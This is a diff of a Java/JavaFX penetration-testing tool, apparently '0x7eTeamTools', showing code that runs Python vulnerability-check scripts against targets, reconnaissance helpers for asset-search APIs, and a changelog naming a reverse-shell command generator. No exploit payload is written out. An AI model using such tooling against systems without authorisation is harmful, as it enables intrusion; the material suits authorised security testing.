// }else if (proxy.type() == Proxy.Type.SOCKS){
// environment.put("socksProxyHost", proxyHost);
// environment.put("socksProxyPort", Integer.toString(proxyPort));
// }
// }
// 启动Python进程
Process process = pb.start();
// 获取标准输出
InputStream stdout = process.getInputStream();
BufferedReader outputReader = new BufferedReader(new InputStreamReader(stdout, "GBK"));
// 获取标准错误输出
InputStream stderr = process.getErrorStream();
BufferedReader errorReader = new BufferedReader(new InputStreamReader(stderr, "GBK"));
// 读取标准输出内容
String line;
StringBuilder outputBuilder = new StringBuilder();
while ((line = outputReader.readLine()) != null) {
outputBuilder.append(line).append("\n");
}
// 读取标准错误输出内容
StringBuilder errorBuilder = new StringBuilder();
while ((line = errorReader.readLine()) != null) {
errorBuilder.append(line).append("\n");
}
// 等待进程执行完毕并获取返回值
int exitCode = process.waitFor();
// 打印执行结果
logger.debug("["+target+"] ---- "+pyScriptName);
logger.debug("Exit Code: " + outputBuilder.toString());
logger.debug("Output: " + errorBuilder.toString());
logger.debug("Error: " + exitCode);
logger.debug("---------------------------------------\r\n");
return outputBuilder.toString().trim() + errorBuilder.toString().trim();
}
public static void main(String[] args) throws IOException, InterruptedException {
vulCheck("aaa","1.py");
}
}

View File

@ -0,0 +1,43 @@
package com.sec421.core;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
public class Constants {
public static String NAME = "0x7eSecurity";
public static String VERSION = "v1.1 ";
public static String AUTHOR = "luze";
public static String SECURITYSTATEMENT = "----------------------------------------------------------------\r\n\t\t\t" +
"本工具仅提供给安全测试人员进行安全自查使用\r\n\t\t\t" +
"用户滥用造成的一切后果与作者无关\r\n\t\t\t" +
"使用者请务必遵守当地法律\r\n\t\t\t" +
"本程序不得用于商业用途,仅限学习交流\r\n" +
"----------------------------------------------------------------\r\n" +
"\t\t目前程序被没有任何漏洞利用代码感谢各位师傅\r\n\t";
public static String UPDATELOG = "----------------------------------------------------------------\r\n\t\t\t" +
"更新日志记录\r\n\t\t\t" +
"----------------------------------------------------------------\r\n" +
"0x7eTeamTools V1.1 -----------2024.1.12\r\n\t\t\t" +
"1、修复了反弹shell命令生成功能bug\r\n\t\t\t" +
"2、修复了某些页面鼠标滚轮功能bug\r\n\t\t\t" +
"3、新增了js接口的一些处理逻辑\r\n\t\t\t" +
"\t3.1针对型如../xx.js、./xx.js、//xx.js等js爬取做了修复\r\n\t\t\t" +
"\t3.2针对型如../func、./func、/func等接口处理做了修复\r\n\t\t\t" +
"----------------------------------------------------------------\r\n" +
"0x7eTeamTools V1.0 -----------2024.1.1\r\n\t\t\t" +
"----------------------------------------------------------------\r\n";
public static String CONFPATH = "conf/config.ini";
public static String POCPATH = "conf/poc/";
public static String IMPACKET_PATH = "conf/impacket-0.11.0/examples/";
}

View File

@ -0,0 +1,54 @@
package com.sec421.core;
import javafx.beans.property.SimpleStringProperty;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
public class VulInfo {
private final SimpleStringProperty id = new SimpleStringProperty();
private final SimpleStringProperty target = new SimpleStringProperty();
private final SimpleStringProperty isVul = new SimpleStringProperty();
public VulInfo(String id, String target, String isVul) {
setId(id);
setTarget(target);
setIsVul(isVul);
}
public String getId() {
return id.get();
}
public void setId(String id) {
this.id.set(id);
}
public String getTarget() {
return target.get();
}
public void setTarget(String target) {
this.target.set(target);
}
public String getIsVul() {
return isVul.get();
}
public void setIsVul(String isVul) {
this.isVul.set(isVul);
}
@Override
public String toString() {
return "VulInfo{" +
"id=" + id +
", target=" + target +
", isVul=" + isVul +
'}';
}
}

View File

@ -0,0 +1,120 @@
package com.sec421.tools;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import cn.hutool.http.HttpRequest;
import cn.hutool.http.HttpResponse;
import cn.hutool.http.HttpUtil;
import com.alibaba.fastjson.JSONObject;
import com.sec421.controller.ui.MainController;
import java.io.IOException;
import java.net.Proxy;
import java.net.URI;
public class HttpTool {
public static String getHttpReuest(String requestUrl) {
String body=null;
Proxy proxy = (Proxy) MainController.settingInfo.get("proxy");
try {
if (proxy != null) {
body = HttpRequest.get(requestUrl).setProxy(proxy).execute().body();
} else {
body = HttpRequest.get(requestUrl).execute().body();
}
} catch (Exception e){
body = "请检查网络或者代理";
}finally {
return body;
}
}
public static HttpResponse sendHttpReuest(String requestUrl,String reqMethod) {
String body=null;
HttpResponse execute=null;
Proxy proxy = (Proxy) MainController.settingInfo.get("proxy");
try {
if (proxy != null) {
if (reqMethod.equals("get")) {
execute = HttpRequest.get(requestUrl).setProxy(proxy).execute();
} else if (reqMethod.equals("post")) {
execute = HttpRequest.post(requestUrl).setProxy(proxy).execute();
}
} else {
if (reqMethod.equals("get")) {
execute = HttpRequest.get(requestUrl).execute();
} else if (reqMethod.equals("post")) {
execute = HttpRequest.post(requestUrl).execute();
}
}
} catch (Exception e){
Tools.alert("错误","请检测网络情况");
}finally {
return execute;
}
}
public static String quankeRequest(String requestUrl, JSONObject jsonObject) throws IOException {
String body=null;
String quankeAPI = Tools.getProperty("quake");
Proxy proxy = (Proxy) MainController.settingInfo.get("proxy");
try {
if (proxy != null) {
body = HttpRequest.post(requestUrl).
header("Content-Type","application/json").
header("X-QuakeToken",quankeAPI,false).
body(jsonObject.toJSONString()).
setProxy(proxy).execute().body();
} else {
body = HttpRequest.post(requestUrl).
header("Content-Type","application/json").
header("X-QuakeToken",quankeAPI,false).
body(jsonObject.toJSONString()).
execute().body();
}
} catch (Exception e){
body = "请检查网络或者代理";
}finally {
return body;
}
}
public static String generateURL(String host,String port,String protocol){
String domain = extractDomain(host);
if ("80".equals(port) || "443".equals(port)){
return protocol+"://"+domain;
}else {
return protocol+"://"+domain+":"+port;
}
}
public static String extractDomain(String url) {
String domain = "";
try {
URI uri = new URI(url);
domain = uri.getHost();
if (domain == null) {
String[] parts = url.split(":");
if (parts.length > 0) {
domain = parts[0];
}else{
domain = url;
}
}
return domain;
} catch (Exception e) {
String[] parts = url.split(":");
if (parts.length > 0) {
domain = parts[0];
}else{
domain = url;
}
return domain;
}
}
}

View File

@ -0,0 +1,18 @@
package com.sec421.tools;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
@Data
@AllArgsConstructor
@NoArgsConstructor
public class IniFileEntity {
private String section;
private String key;
private String value;
}

View File

@ -0,0 +1,494 @@
package com.sec421.tools;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import com.sec421.controller.ui.MainController;
import com.sec421.core.Constants;
import javafx.scene.control.Alert;
import javafx.scene.control.ButtonBar;
import javafx.scene.control.ButtonType;
import javafx.stage.Window;
import org.ini4j.Ini;
import org.ini4j.Profile;
import java.io.*;
import java.net.InetSocketAddress;
import java.net.Proxy;
import java.net.URI;
import java.net.URISyntaxException;
import java.nio.charset.StandardCharsets;
import java.text.SimpleDateFormat;
import java.util.*;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class Tools {
private String section;
private String key;
private String value;
public static String getProperty(String name) throws IOException {
File file = new File(Constants.CONFPATH);
if (file.exists()) {
Ini ini = new Ini(file);
System.out.println();
String fofaEmail =ini.get("fofa", "email");
String fofaApiKey =ini.get("fofa", "apikey");
String hunterApiKey =ini.get("hunter", "apikey");
String quakeApiKey =ini.get("quake", "apikey");
String pythonPATH =ini.get("python", "path");
if (name.equals("fofa")){
return fofaEmail+":"+fofaApiKey;
} else if (name.equals("hunter")) {
return hunterApiKey;
} else if (name.equals("quake")) {
return quakeApiKey;
}else if (name.equals("py_path")){
return pythonPATH;
}
}else {
Alert alert = new Alert(Alert.AlertType.INFORMATION);
alert.setTitle("提示");
alert.setHeaderText(null);
alert.setContentText("config.ini文件没找到\n");
alert.showAndWait();
return "config.ini文件没找到";
}
return null;
}
public static void setProxy() {
Proxy proxy = (Proxy) MainController.settingInfo.get("proxy");
if (proxy != null) {
InetSocketAddress proxyAddress = (InetSocketAddress) proxy.address();
String proxyHost = proxyAddress.getHostString();
int proxyPort = proxyAddress.getPort();
if (proxy.type() == Proxy.Type.HTTP) {
System.setProperty("http.proxyHost", proxyHost);
System.setProperty("http.proxyPort", Integer.toString(proxyPort));
}else if (proxy.type() == Proxy.Type.SOCKS){
System.setProperty("socksProxyHost", proxyHost);
System.setProperty("socksProxyPort", String.valueOf(proxyPort));
}
}
}
public static String writeResult(String path, String content, boolean flag) {
File f = new File(path);
String results = null;
try {
if (!f.exists())
f.createNewFile();
BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f, flag), "GBK"));
writer.write(content + "\r\n");
writer.flush();
writer.close();
results = "保存成功, \n" + path;
} catch (IOException e) {
results = "保存失败: " + e.getMessage();
}
return results;
}
public static String getFDate() {
String result = null;
SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_hh_mmss");
result = sdf.format(new Date());
return result;
}
public static void alert(String title, String info) {
Alert alert = new Alert(Alert.AlertType.NONE, info, new ButtonType[] { new ButtonType("确定", ButtonBar.ButtonData.YES) });
alert.setTitle(title);
alert.showAndWait();
alert.close();
}
public static void alertWARNING(String header_text, String content_text) {
Alert alert = new Alert(Alert.AlertType.WARNING);
// x 退出
Window window = alert.getDialogPane().getScene().getWindow();
window.setOnCloseRequest((e) -> {
window.hide();
});
alert.setHeaderText(header_text);
alert.setContentText(content_text);
alert.show();
}
public static void alertINFO( String content_text) {
Alert alert = new Alert(Alert.AlertType.INFORMATION);
alert.setTitle("提示");
alert.setHeaderText(null);
alert.setContentText(content_text);
alert.showAndWait();
}
// 因为使用echo shell 这里需要对 < > 转义
public static String get_escape_shell(String str, String platform) {
String key1 = "<";
String key2 = ">";
if (platform.equals("Linux")) {
return "'" + str + "'";
} else {
return escape(key2, escape(key1, str, "^"), "^");
}
}
public static List<String> findPyFiles(String directoryPath) {
List<String> pyFiles = new ArrayList<>();
File directory = new File(directoryPath);
// 检查目录是否存在
if (!directory.exists()) {
directory.mkdirs();
}
// 获取目录下的所有文件和文件夹
File[] files = directory.listFiles();
if (files != null) {
for (File file : files) {
if (file.isDirectory()) {
// 递归调用搜索子目录
pyFiles.addAll(findPyFiles(file.getAbsolutePath()));
} else {
// 判断文件名是否以.py结尾
if (file.getName().toLowerCase().endsWith(".py")) {
// pyFiles.add(file.getName());
pyFiles.add(file.getAbsolutePath());
}
}
}
}
return pyFiles;
}
public static String escape(String key, String str, String escape_str) {
StringBuffer stringBuilder1 = new StringBuffer(str);
int a = str.indexOf(key);
int i = 0;
while (a != -1) {
stringBuilder1.insert(a + i, escape_str);
a = str.indexOf(key, a + 1);
i++;
}
return stringBuilder1.toString();
}
public static String checkTheDomain(String weburl) {
if ("".equals(weburl.trim())) {
return "";
} else {
if (!weburl.startsWith("http")) {
weburl = "http://" + weburl;
}
if (!weburl.endsWith("/")) {
weburl = weburl + "/";
}
return weburl;
}
}
public static String urlParse(String url) {
if (!url.contains("http")) {
url = "http://" + url;
}
if (url.endsWith("/")) {
url = url.substring(0, url.length() - 1);
}
return url;
}
public static boolean checkTheURL(String weburl) {
if ("".equals(weburl.trim())) {
return false;
} else {
return weburl.startsWith("http");
}
}
private static boolean match(String regex, String str) {
Pattern pattern = Pattern.compile(regex);
Matcher matcher = pattern.matcher(str);
return matcher.matches();
}
public static String getDate() {
Date d = new Date();
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
return sdf.format(d);
}
public static String reverse(String data) {
StringBuilder sb = new StringBuilder(data);
return sb.reverse().toString();
}
public static HashSet<String> read(String path, String encode, Boolean domain) {
HashSet list = new HashSet();
try {
FileInputStream fs = new FileInputStream(new File(path));
InputStreamReader isr = null;
if (encode.equals("")) {
isr = new InputStreamReader(fs);
} else {
isr = new InputStreamReader(fs, encode);
}
BufferedReader br = new BufferedReader(isr);
String tem = null;
while ((tem = br.readLine()) != null) {
if (domain) {
tem = checkTheDomain(tem);
}
if (!list.contains(tem)) {
list.add(tem);
}
}
br.close();
isr.close();
} catch (Exception var7) {
}
return list;
}
public static List<String> readFile(String path) {
List<String> lt = new ArrayList<>();
File file = new File(path);
if (file.exists()) {
try {
Reader reader = new InputStreamReader(new FileInputStream(file), "UTF-8");
BufferedReader bf = new BufferedReader(reader);
while (true) {
String line = bf.readLine();
if (line == null) {
break;
} else if (line.trim().length() > 0) {
lt.add(line.trim());
}
}
bf.close();
reader.close();
} catch (IOException var6) {
var6.printStackTrace();
}
}
return lt;
}
public static boolean write(String path, String value) {
try {
BufferedWriter out = new BufferedWriter(new FileWriter(path));
out.write(value);
out.close();
} catch (IOException e) {
return false;
}
return true;
}
//创建ini文件
public static boolean creatIniFile(String filePath,List<IniFileEntity> filecontent) throws IOException {
File file = new File(filePath);
if(file.exists()){
return false;
}
file.createNewFile();
Ini ini = new Ini();
ini.load(file);
//将文件内容保存到ini对象中
filecontent.stream().forEach((entity)->{
ini.add(entity.getSection(),entity.getKey(),entity.getValue()== null ? "": entity.getValue());
});
//将文件内容保存到文件中
ini.store(file);
return true;
}
//修改ini文件
public static void updateIniFile(File iniFile,Map<String,Map<String,String>> updateData) throws IOException {
Ini ini = new Ini();
ini.load(iniFile);
Profile.Section section = null;
Map<String,String> dataMap = null;
for (String sect : updateData.keySet()){
section = ini.get(sect);
dataMap = updateData.get(sect);
for (String key : dataMap.keySet()){
section.put(key,dataMap.get(key) == null ? "" :
dataMap.get(key));
}
}
ini.store(iniFile);
}
public static String str2Hex(String str) {
char[] chars = "0123456789ABCDEF".toCharArray();
StringBuilder sb = new StringBuilder("");
byte[] bs = str.getBytes();
for (int i = 0; i < bs.length; ++i) {
int bit = (bs[i] & 240) >> 4;
sb.append(chars[bit]);
bit = bs[i] & 15;
sb.append(chars[bit]);
}
return sb.toString().trim();
}
public static String hex2Str(String hexStr) {
String str = "0123456789ABCDEF";
char[] hexs = hexStr.toCharArray();
byte[] bytes = new byte[hexStr.length() / 2];
for (int i = 0; i < bytes.length; ++i) {
int n = str.indexOf(hexs[2 * i]) * 16;
n += str.indexOf(hexs[2 * i + 1]);
bytes[i] = (byte) (n & 255);
}
return new String(bytes);
}
// 随机字符
public static String getRandomString(int length) {
String str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
Random random = new Random();
StringBuilder sb = new StringBuilder();
for(int i = 0; i < length; ++i) {
int number = random.nextInt(62);
sb.append(str.charAt(number));
}
return sb.toString();
}
// base64编码
public static String Base64Encode(String txt) {
try {
return Base64.getEncoder().encodeToString(txt.getBytes("UTF-8"));
} catch (Exception var2) {
return "";
}
}
public static String getLineSeparator() {
String os = System.getProperty("os.name").toLowerCase();
String lineSeparator;
if (os.contains("win")) {
// Windows换行符
lineSeparator = "\r\n";
} else if (os.contains("mac")) {
// Mac换行符
lineSeparator = "\r";
} else {
// Linux换行符
lineSeparator = "\n";
}
return lineSeparator;
}
public static List<String> convertToArrayList(String lines) {
String os = System.getProperty("os.name").toLowerCase();
String lineSeparator;
if (os.contains("win")) {
// Windows换行符
lineSeparator = "\r\n";
} else if (os.contains("mac")) {
// Mac换行符
lineSeparator = "\r";
} else {
// Linux换行符
lineSeparator = "\n";
}
// 按照操作系统对应的换行符分割字符串并转换为数组
String[] lineArray = lines.split(lineSeparator);
// 将数组转换为ArrayList
List<String> stringList = new ArrayList<>(Arrays.asList(lineArray));
return stringList;
}
public static List<String> convertToArrayListMotd(String lines) {
String lineSeparator = "\n";
// 按照操作系统对应的换行符分割字符串并转换为数组
String[] lineArray = lines.split(lineSeparator);
// 将数组转换为ArrayList
List<String> stringList = new ArrayList<>(Arrays.asList(lineArray));
return stringList;
}
public static String normalizedURI(String url) throws URISyntaxException {
URI uri = new URI(url);
URI normalizedURI = uri.normalize();
return normalizedURI.toString();
}
public static List<String> extractJsUrls(String html) {
List<String> jsUrls = new ArrayList<>();
String patternString = "<script[^>]*src=(?:\\\"|')?([^\\\"'>]+)(?:\\\"|')?";
Pattern pattern = Pattern.compile(patternString);
Matcher matcher = pattern.matcher(html);
while (matcher.find()) {
String jsUrl = matcher.group(1);
jsUrls.add(jsUrl);
}
return jsUrls;
}
public static String urlPretreatment(String url) throws URISyntaxException {
URI uri = new URI(url);
String path = uri.getPath().replace("//", "/");
String newUrl = new URI(uri.getScheme(), uri.getUserInfo(), uri.getHost(), uri.getPort(), path, uri.getQuery(), uri.getFragment()).toString();
return newUrl;
}
public static Set<String> extractJsInterface(String html) {
Set<String> interfaces = new HashSet<>();
// bug修复 /xxx ./xxx ../../../xxx
String patternString = "[\\\"']([..]*/[^\\\"'>]+)[\\\"']";
Pattern pattern = Pattern.compile(patternString);
Matcher matcher = pattern.matcher(html);
while (matcher.find()) {
String interfaceUrl = matcher.group(1);
interfaces.add(interfaceUrl);
}
return interfaces;
}
public static String extractDomain(String url) {
String patternString = "(https?://)([^/#?]+).*";
Pattern pattern = Pattern.compile(patternString);
Matcher matcher = pattern.matcher(url);
if (matcher.matches()) {
return matcher.group(1) + matcher.group(2) + "/";
}
return null;
}
public static String splitByHash(String url) {
String[] parts = url.split("#", 2);
return parts[0];
}
}

View File

@ -0,0 +1,3 @@
Manifest-Version: 1.0
Main-Class: com.sec421.Main

View File

@ -0,0 +1,40 @@
.jfx-button {
-jfx-button-type: RAISED;
-fx-text-fill: #000;
-fx-font-size: 16;
}
/*!* 鼠标悬停时,按钮突出 *!*/
.jfx-button:hover{
-fx-background-color: white;
}
/* 按钮选中时,按钮突出 */
.jfx-button:focused{
-fx-background-color: white;
}
/* 修改Tab中文本的颜色 */
.tab-label {
-fx-text-fill: #383838;
}
/* 子代选择器Tab选中的时候选择其子元素tab-label */
.tab:selected .tab-label {
-fx-text-fill: #1E90FF;
}
/* 修改Tab中背景颜色*/
.jfx-tab-pane .headers-region {
-fx-background-color: #fff;
}
.jfx-tab-pane .tab-header-background {
-fx-background-color: #fff;
}
#oa {
-fx-font-size: 14;
}

File diff suppressed because it is too large Load Diff

Binary file not shown.

After

Width:  |  Height:  |  Size: 383 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.0 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 146 KiB

View File

@ -0,0 +1,24 @@
### 设置###
log4j.rootLogger = debug,stdout,D
### 输出信息到控制抬 ###
log4j.appender.stdout = org.apache.log4j.ConsoleAppender
log4j.appender.stdout.Target = System.out
log4j.appender.stdout.layout = org.apache.log4j.PatternLayout
log4j.appender.stdout.layout.ConversionPattern = [%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n
#### 输出DEBUG 级别以上的日志到=/home/duqi/logs/debug.log ###
log4j.appender.D = org.apache.log4j.DailyRollingFileAppender
log4j.appender.D.File = logs/debug.log
log4j.appender.D.Append = true
log4j.appender.D.Threshold = DEBUG
log4j.appender.D.layout = org.apache.log4j.PatternLayout
log4j.appender.D.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n
#### 输出ERROR 级别以上的日志到=/home/admin/logs/error.log ###
#log4j.appender.E = org.apache.log4j.DailyRollingFileAppender
#log4j.appender.E.File =logs/error.log
#log4j.appender.E.Append = true
#log4j.appender.E.Threshold = ERROR
#log4j.appender.E.layout = org.apache.log4j.PatternLayout
#log4j.appender.E.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n

View File

@ -0,0 +1,3 @@
Manifest-Version: 1.0
Main-Class: com.sec421.Main

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,40 @@
.jfx-button {
-jfx-button-type: RAISED;
-fx-text-fill: #000;
-fx-font-size: 16;
}
/*!* 鼠标悬停时,按钮突出 *!*/
.jfx-button:hover{
-fx-background-color: white;
}
/* 按钮选中时,按钮突出 */
.jfx-button:focused{
-fx-background-color: white;
}
/* 修改Tab中文本的颜色 */
.tab-label {
-fx-text-fill: #383838;
}
/* 子代选择器Tab选中的时候选择其子元素tab-label */
.tab:selected .tab-label {
-fx-text-fill: #1E90FF;
}
/* 修改Tab中背景颜色*/
.jfx-tab-pane .headers-region {
-fx-background-color: #fff;
}
.jfx-tab-pane .tab-header-background {
-fx-background-color: #fff;
}
#oa {
-fx-font-size: 14;
}

2236
target/classes/fxml/gui.fxml Normal file

File diff suppressed because it is too large Load Diff

BIN
target/classes/img/logo.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 383 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

BIN
target/classes/img/sec.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.0 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 146 KiB

View File

@ -0,0 +1,24 @@
### 设置###
log4j.rootLogger = debug,stdout,D
### 输出信息到控制抬 ###
log4j.appender.stdout = org.apache.log4j.ConsoleAppender
log4j.appender.stdout.Target = System.out
log4j.appender.stdout.layout = org.apache.log4j.PatternLayout
log4j.appender.stdout.layout.ConversionPattern = [%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n
#### 输出DEBUG 级别以上的日志到=/home/duqi/logs/debug.log ###
log4j.appender.D = org.apache.log4j.DailyRollingFileAppender
log4j.appender.D.File = logs/debug.log
log4j.appender.D.Append = true
log4j.appender.D.Threshold = DEBUG
log4j.appender.D.layout = org.apache.log4j.PatternLayout
log4j.appender.D.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n
#### 输出ERROR 级别以上的日志到=/home/admin/logs/error.log ###
#log4j.appender.E = org.apache.log4j.DailyRollingFileAppender
#log4j.appender.E.File =logs/error.log
#log4j.appender.E.Append = true
#log4j.appender.E.Threshold = ERROR
#log4j.appender.E.layout = org.apache.log4j.PatternLayout
#log4j.appender.E.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n